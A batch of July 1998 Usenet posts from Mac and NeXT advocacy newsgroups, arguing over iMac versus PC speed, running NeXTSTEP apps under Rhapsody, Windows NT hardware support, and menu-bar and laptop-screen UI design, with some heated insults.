Followup-To: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 29 Jul 1998 18:48:38 GMT
Organization: Verio Northern California's Usenet News Service
Message-ID: <6pnqq6$mr9$1@news.ncal.verio.com>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net>
I believe the blazing speed is based on integer math.
Isn't it the case that the next-gen Motorola chips are supposed to do very
well on floating-point?
Trolling? Is this a verb?
Thomas
Steve Sullivan (macghod@concentric.net) wrote:
: In article <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net>,
: derekc@spamrat.filler.to.remove.frontiernet.net (Derek Currie) wrote:
: > but the fact
: > of the matter is that NO PC runs as fast as an iMac, not even a Xeon at
: > over 5X the price. And certainly no PC is as simple. There is a TERRIFIC
: > commercial Apple are going to let loose for the iMac that will prove this
: > fact without a shadow of a doubt. Stay tuned.
: >
: > Smile, Apple is making its mark again.
: I guess you obviously havent seen the photoshop results?
: Are you trolling or are you serious?
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au> <35befff9.0@nnrp1.news.uk.psi.net> <6pn16j$eod$1@bunyip.cc.uq.edu.au>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bf71d9.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 19:02:49 GMT
"Christopher Smith" <drsmithy@usa.net> wrote:
>
>Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote in message
>>If I have windows A and B and miniaturise A then B I get the miniaturised
>window for
>>A on the left and B to the right of it.
>>If I then un-miniaturise A, the miniaturised B shifts left, and when I then
>>re-miniaturise A the miniaturised version of A sits to the right of B.
>
>Hmm, I've never seen this happen and after about 5 minutes of trying I can't
>get it to.
>What's the specs on your NT sytstem ? (Service packs, software installed
>etc)
>Is the problem reproduceable ?
>Does it only affect certain programs ? If so, what are they ?
NT4 latest service-pack, Direct-X5, IE4 with the old newsreader - not Outlook-express
Ok - I'm partly wrong on this one -
It's actually the behaviour of minimised panels to change the order rather than
document windows -
I tried it in the news-reader that comes with IE - I haven't tried other apps.
document windows (as opposed to panels) minimised and unminimise in consistent
order - the system only screws you around moving them when it shrinks/expands
them to make room for new minimised windows.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: Wed, 29 Jul 1998 19:11:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pns4i$bhj$1@nnrp1.dejanews.com>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com>
Greg_Anderson@afs.com wrote:
> Terry Haggin writes
> > I have a ton on great old NeXT apps on my Cube and would like to know if
> > I can run them on Rhapsody or OS X?
>
> Not unless the author rewrites them.
Some time ago I asked about the possibility of writing a "Black Box" that
would allow NeXTSTEP apps to run under Rhapsody. I got several responses
indicating that it probably would be feasible (and easier to do than writing
the Blue Box was) but that the people who could do it probably have better
things to do with their time. Like writing native Rhapsody apps.
In practice, the main app that doesn't have a close equivalent in the Mac
world seems to be Improv. All other apps (that I use, at least) either have
an announced Rhapsody port or a close equivalent Mac app (which will run in
the Blue Box, and perhaps eventually under Carbon). So, much as I think a
Black Box would be cool, and much as I hate losing Improv (which I use
heavily), I agree that it probably wouldn't be worth the trouble, and that
NeXTSTEP/OPENSTEP-savvy developers are probably most useful writing native
Rhapsody apps.
So: budding Rhapsody/Mac OS X developers looking for a project: how about an
Improv clone?
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com>
Message-ID: <35bf7b63.0@news.depaul.edu>
Date: 29 Jul 98 19:43:31 GMT
In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> Greg_Anderson@afs.com wrote:
> > Terry Haggin writes
> > > I have a ton on great old NeXT apps on my Cube and would like to know if
> > > I can run them on Rhapsody or OS X?
> >
> > Not unless the author rewrites them.
> Some time ago I asked about the possibility of writing a "Black Box" that
> would allow NeXTSTEP apps to run under Rhapsody. I got several responses
> indicating that it probably would be feasible (and easier to do than writing
> the Blue Box was) but that the people who could do it probably have better
> things to do with their time. Like writing native Rhapsody apps.
If you have a Mac, it'd probably be better to just use VirtualPC to
run NeXTSTEP/Intel.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Message-ID: <35BF7E13.F8D@launchnet.com>
From: Terry Haggin <terry@launchnet.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com>
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Date: Wed, 29 Jul 1998 19:50:19 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 12:50:19 PDT
Organization: InReach Internet
Thank you...
I appreciate the response to my question even though the answer seems
negative.
Those of us who know how great those NeXT apps were, especially Image
and Improv are sad that they have to deal with the Mac Apps out there.
NeXT Step was a wonderful OS and the only thing that is even close is
the Be OS which is amazing.
After getting totally fed up with my Performa crashing 5 times a day, I
got Be OS loaded it and installed Sheep Shaver and then loaded 8.1. Now
when my Performa crashes 5 times a day, I just restart the app instead
of pushing the restart button over and over until the arrow moves again.
Maybe I'll try Linux after it gets fully operable in December?
Terry Haggin
Date: Wed, 29 Jul 1998 14:04:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Message-ID: <joe.ragosta-2907981404250001@wil73.dol.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net>
I should have saved the URL because I couldn't find it, but one of the Mac
sites quoted a CompUSA store manager who said that in his store, there
were over half as many iMac preorders (with $250 deposit) in two days as
there were Win98 preorders in several weeks.
Hmm. Only a couple of days to get 1/2 as many orders as Win98? When Win95
has so much higher market share? And when you're comparing a $90 software
product to a $1300 hardware product?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 15:52:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907981552120001@wil38.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com>
In article <6pnsqt$c9l$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <joe.ragosta-2907981244410001@wil47.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > But WinNT 4.0 offers some features which are notably absent from Win95/98,
> > as well.
>
> And vise-vera. A lot of people use Windows 95 because they want to play games
> or use programs that use APIs that are not yet available in NT. AFAIK, Mac OS
> X will have a superset of the features in MacOS 9 so why wouldn't you want to
> use it? Anyway, the point is largely irrelevant because almost everyone (if
> they buy some RAM) who can run Windows 95 can also run NT. Not so with Mac OS
> 9 and Mac OS X.
Not true. WinNT has support for a lot fewer peripherals than Win95. And
it's twitchy about some that are allegedly supported.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 15:47:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907981547420001@wil38.dol.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <mcox-ya02408000R2407981827020001@newsource.ihug.co.nz> <35b83d99.0@news.depaul.edu>
In article <35b83d99.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
>
> > Any serious Mac owner in a professional environment who perceives the OS X
> > release as significantly dubious _will_ consider the cost of changing
> > software likely worth it. If you have a perceived choice of (a) buy new
> > hardware for a platform whose user base has been sliced overnight,
>
> What *are* you talking about? The user base will be exactly the same,
> and include both G3 and non-G3 Macs.
>
> Virtually *all* software running on MacOS/X at laumch will be Carbon
> software. Thus, the 'market' is all machines that run Carbon, not
I'm assuming you mean for this particular market. If so, I agree.
However, there will also be a good bit of Yellow Box software by then.
Also, one could argue that Blue Box software also fits the criteria of
"running on Mac OS X".
Personally, I'm guessing that only the professional level apps will be
Carbonized in time for the release. Sort of like the PPC release.
> all machines running OS/X. The market that runs Carbon will include
> OS 8.x machines, and thus include pre-G3 Macs. And it'll include
> G3 Macs running 8.x.
>
> Thus, the market does not *shrink*, since the software will still
> run on 8.x. Thus, no support is lost. In fact, if Apple hits
> their goals, support should increase. The ability for developers
> to write their Carbon apps for 8.x on OS/X will probably do
> wonders for 8.x users.
>
> Even YellowBox apps will have a market larger than just the
> OS/X installed base, due to the Windows version. Granted,
> YellowBox apps won't run on 8.x, but it'll be a while before
> there are enough YB apps for that to matter.
>
> What *are* you thinking?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 15:15:51 -0500
Organization: Ericsson Inc.
Message-ID: <35BF82F7.64FCFC4B@exu.ericsson.se>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net>
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Joe Ragosta wrote:
> Not true. WinNT has support for a lot fewer peripherals than Win95. And
> it's twitchy about some that are allegedly supported.
Just to illustrate how insignificant NT's lack of hardware support
actually is, I will now ask Joe to name a single hardware product that
NT cannot support.
Joe, this is your chance to show off:
____________________________________
MJP
Date: Wed, 29 Jul 1998 16:43:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907981643010001@wil42.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se>
In article <35BF82F7.64FCFC4B@exu.ericsson.se>, Michael.Peck@Ericsson.com wrote:
> Joe Ragosta wrote:
>
> > Not true. WinNT has support for a lot fewer peripherals than Win95. And
> > it's twitchy about some that are allegedly supported.
>
> Just to illustrate how insignificant NT's lack of hardware support
> actually is, I will now ask Joe to name a single hardware product that
> NT cannot support.
>
> Joe, this is your chance to show off:
>
> ____________________________________
Well, let's see. Just during my attempts to build an NT box, I came across
the FWB Sledgehammer PCI card. Sure, it has an NT driver, but it didn't
work. Go back to the thread when that came up--lots of people said that NT
has problems with anything other than Adaptec SCSI cards.
Then there was the Imagine 128 video card. Sure, NT had a driver, but it
crashed all the time.
Go to Microsoft's web page and look at their approved NT hardware list.
There are zillions of peripherals that aren't officially supported. And
lots of NT fans have warned over and over to stick with supported
hardware.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 15:45:12 -0500
Organization: Ericsson Inc.
Message-ID: <35BF89D8.52280D20@exu.ericsson.se>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news>
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Andy Bates wrote:
> > Oh, please. Do you _really_ think this would take very long? Once the
> > document or portions of the document are read into memory, testing it
> > against thousands of file formats should be very quick.
>
> How much computer-science background have you actually had? The time to
> check will increase as more applications are added to the system.
I assume you're familiar with magic(4) and gfile(1). The magic(4) file
on this particular box is around 125KBytes in size, and describes
probably several hundred different formats. Check this output:
[root@teller lib]# time file magic
magic: magic text file for file(1) cmd
0.020u 0.000s 0:00.08 25.0% 0+0k 0+0io 89pf+0w
[root@teller lib]#
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 29 Jul 1998 21:08:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6po2vo$n0f$1@lwnws01.ne.highway1.com>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
> Greg_Anderson@afs.com wrote:
> > Terry Haggin writes
> > > I have a ton on great old NeXT apps on my Cube and would like
> > > to know if I can run them on Rhapsody or OS X?
> >
> > Not unless the author rewrites them.
>
> Some time ago I asked about the possibility of writing a "Black
> Box" that would allow NeXTSTEP apps to run under Rhapsody. I got
> several responses
On a somewhat related note, I've heard that one can copy intel openstep
(maybe nextstep) libraries to DR2, and get some of the old next apps running
on an intel version of DR2. I haven't seen or tried this myself.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bf8c41.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 20:55:29 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Richard Frith-Macdonald wrote:
>
>> Sophistry - minor technicalities of a UI widget (of which I'm well aware) do not
>> change the fact that the menu-bar is a menu (or list of options if you prefer).
>
>No, see, this is where you're just going to have to agree to disagree
>with the rest of the world.
Well - I'll agree to disagree with you - I don't think I have to do that
for the rest of the world :-)
>You could as easily say that "minor
>technicalities of a UI widget do not change the fact that a pushbutton
>is a window"
No I couldn't.
>but I'd have to be harsh with you and say that you're dead
>wrong and your UI philosophy fails to note important distinctions. Maybe
>MacOS users just have a finer-grain resolution between UI concepts, but
>that's just the breaks.
Surely you mean coarser grained - if they have to be presented with a
somewhat crippled form of menu in order to make the fact that it's the
top-level clear to them?
>Perhaps as an OO programmer you can look at it this way: the menu bar is
>a special case of menu. For very good reasons
This is the second time you invoked 'good reasons' - but failed to
present any.
>, its orientation has been
>changed and its behavior and policy are more specific. It is designed as
>a special-case menu to hold general-case menus, precisely because it is
>unique, serves a unique purpose, and belongs in a unique position in the
>user's mind.
By that reasoning you should have a distinctly different widget for everything.
After all - the actions performed by the 'open' and 'quit' menu items are unique
and distinct.
Precisely what good does limiting the menu-bar to only containing menus do?
>If this philosophy is just utterly antithetical to your views, like I
>said, you have to just agree to disagree.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 29 Jul 1998 21:27:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6po44r$nmo$1@lwnws01.ne.highway1.com>
References: <6plb0l$lom$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2907980957320001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6plb0l$lom$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > No, that's not my position. I think a laptop with a 9" screen
> > would suck rocks. That's what I meant and what I said.
>
> Okay, then why would it suck? It's not because of the resolution
> or the UI, so what is it?
Yes it is because of the resolution. 640X480 is about the max of what is
reasonable in a 9" screen. That is only 39% of a 12" screen that does XGA.
Having only 39% of a valuable resource is inherently limited. Being limited
sucks. Since 12" and larger XGA screens seem to be a norm in manufacturing
laptops today, regressing back to a 9" 640X480 screen for a LAPTOP, IMO,
SUCKS HUGE NARLY ROCKS THROUGH A STRAW. YMMV. Thus, if we make laptops that
are limited to only 39% the resolution of what is commonly being made, that
limitation will force us to tailor a UI to work well on that limited screen.
Then, people with larger screens, on normal laptops that are not so limited,
and on normal desktops that are not so limited, will suffer with a scanky UI
designed to work well on a little skanky shitty crappy obsolete display
model. That's probably the 4th time I've said this in a new way. I imagine
there is a limit to how many different ways this point can be stated.
Granted I maybe doing a piss poor job, but you get what you pay for.
> > Sure, the macUI may well be fine on a 9" screen, but IMO there
> > is no excuse to have a 9" screen on a laptop machine today.
> > Anything smaller than a 12" XGA screen, imo, is useless crap
> > for laptop purposes.
>
> But WHY is it useless? You've already stated that it's not a
> problem with the UI, and it's not a problem with the resolution.
> So what is it? It appears that the only problem you have with it
> is the actual screen size. That seems pretty arrogant. If you
> get the same resolution, it shouldn't matter if you're on a 9"
> screen or a 17" screen.
The size of the screen may not matter (I think clearly it does, because
displaying 1600X1200 on a 3" screen would have marginal use without some sort
of microscope), the resolution would. But the 640X480 resolution is a
useless resolution for modern laptops and desktops. Modern systems have XGA
and better. Tailoring a UI to an outmoded display model for laptops and
desktops seem like a step backwards to me in my arrogant opinion. I may well
be wrong, but there it is nonetheless.
> > Now a 9" screen or smaller might be great for some PDA/palmtop
> > unit, but that's not a laptop.
>
> Why? How are they different, besides what you think can be done
> with them? Why can a palmtop with a 640x480 screen do less than
> a laptop with a 640x480 screen?
Hmm, I'm guessing you're not asking the philosophical question here. Hmm,
why is a PDA and a palmtop a different thing than a laptop. Hmm, very
interesting that you would need to ask this. Since the rest of the
population doesn't seem to have a hard time in figuring out the distinction,
I'll save everyone the bandwidth and leave this as an exercise for you to
mull over.
> > My position is that since modern laptops being designed and
> > manufactured from now on will likely be 12" XGA or better, that
> > they are much like the desktop machines that also have XGA or
> > better displays, and so should share a UI; a UI that is not
> > limited by the constraints of a PDA/palmtop design.
>
> >sigh!< And we're arguing in circles again. You've already admitted
> >that
> the Mac UI scales well to a small screen. So I ask you again:
> why do you think that a palmtop with a 9" 640x480 screen would
> somehow be limited in what it can do?
I'm not you reading comprehension cripple. The current mac UI does just fine
on a small piece of shit 640X480 display. But most people don't want a small
piece of shit 640X480 display. They want at least the market average of XGA.
The macUI sucks, relative to other offerings, on larger displays. So even if
PDA's have screens on par with old outdated laptops that do 640X480, doesn't
mean I want current desktop/laptop machines that do XGA or more to be
crippled with a UI that scales like shit to larger resolution displays.
> Your argument seems to be: a Mac with a 9" screen would be a
> palmtop, since a palmtop has a smaller screen. And since it's a
> palmtop, it can't do as much as a laptop. However, you have shown
> no evidence that a palmtop with a 9" 640x480 screen can do less
> than a laptop with a 12" 640x480 screen.
Your ability to not comprehend is dazzling. That is not my argument. I've
said what my argument is in at least 5 different ways. I'll leave it to you
to figure it out, or not.
> But again, I don't get why you're so hung up on whether it's
> called a "laptop" or a "palmtop." Why do you think a device with
> a 9" 640x480 screen would be constrained somehow? Why is it fine
> if it's called a palmtop, but it sucks if it's called a laptop?
> The only difference is in the NAME!
I've never seen a palmtop with a 9" screen, but if they make one fine (I
would still regard it as something too big to fit in my palm, and thus it
becomes a really lame, smaller laptop). Right now there is a SERIOUSLY HUGE
difference between machines labeled palmtops, and those labeled laptops. I
invite you to go out into the market and see the difference for yourself. It
strikes me that if a full laptop like machine were made by apple with a 9"
640X480 display, today, it would be rather lame, because in essense, they
would be releasing a machine with 1989 display technology--even if they did
sell it for $799. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 29 Jul 1998 21:42:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6po50s$nmo$2@lwnws01.ne.highway1.com>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> Andy Bates wrote:
> > How much computer-science background have you actually had? The time to
> > check will increase as more applications are added to the system.
>
> I assume you're familiar with magic(4) and gfile(1). The magic(4) file
> on this particular box is around 125KBytes in size, and describes
> probably several hundred different formats. Check this output:
>
> [root@teller lib]# time file magic
> magic: magic text file for file(1) cmd
> 0.020u 0.000s 0:00.08 25.0% 0+0k 0+0io 89pf+0w
> [root@teller lib]#
Well, I did my stint in comp sci, but I have no idea what that means. A
clueon would be appreciated as to its relevance. (I even did a man on it and
got nada! :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 29 Jul 1998 15:03:52 GMT
Organization: none
Message-ID: <6pndko$t09$7@server.signat.org>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org>
<6pkoet$c0d@newsb.netnews.att.com> <6plu06$2kpm$1@piglet.cc.uic.edu>
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In <6plu06$2kpm$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> I've seen the process that the PPC 750 is manufactured on referred
> to as a 0.28 or .29u process in the past. The 350MHz 604e was
> manufactured on a process that was only referred to as .25u.
> IBM calls this process CMOS 6X, and the PPC750 process CMOS 6S(2?).
> I saw a statement yesterday by Motorola claiming that the process
> used for manufacturing the 750's is the same as that used for
> the 350MHz 604e/
Do you mean the new 750's, or all of them?
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: Wed, 29 Jul 1998 21:57:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6po5st$pdi$1@nnrp1.dejanews.com>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com> <35bf7b63.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> > Some time ago I asked about the possibility of writing a "Black Box" that
> > would allow NeXTSTEP apps to run under Rhapsody. I got several responses
> > indicating that it probably would be feasible (and easier to do than writing
> > the Blue Box was) but that the people who could do it probably have better
> > things to do with their time. Like writing native Rhapsody apps.
>
> If you have a Mac, it'd probably be better to just use VirtualPC to
> run NeXTSTEP/Intel.
I was speaking (as I believe was the original poster) of whether it would be
possible to run old NeXTSTEP apps under Rhapsody, not under the current Mac
OS. Now, if one could run NeXSTEP/Intel under Virtual PC running in the Blue
Box under Rhapsody, that sure would be something!
It would not, however, solve the problem of running Improv, since Improv was
never compiled for NeXTSTEP/Intel.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-wE8McPSIqjT9@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <35BE0BBE.AE74C1E3@earthlink.net> <joe.ragosta-2907980904140001@wil64.dol.net>
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Date: 29 Jul 1998 22:14:16 GMT
Organization: IBM.NET
On Wed, 29 Jul 1998 13:04:14, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <35BE0BBE.AE74C1E3@earthlink.net>, jontemple@earthlink.net wrote:
>
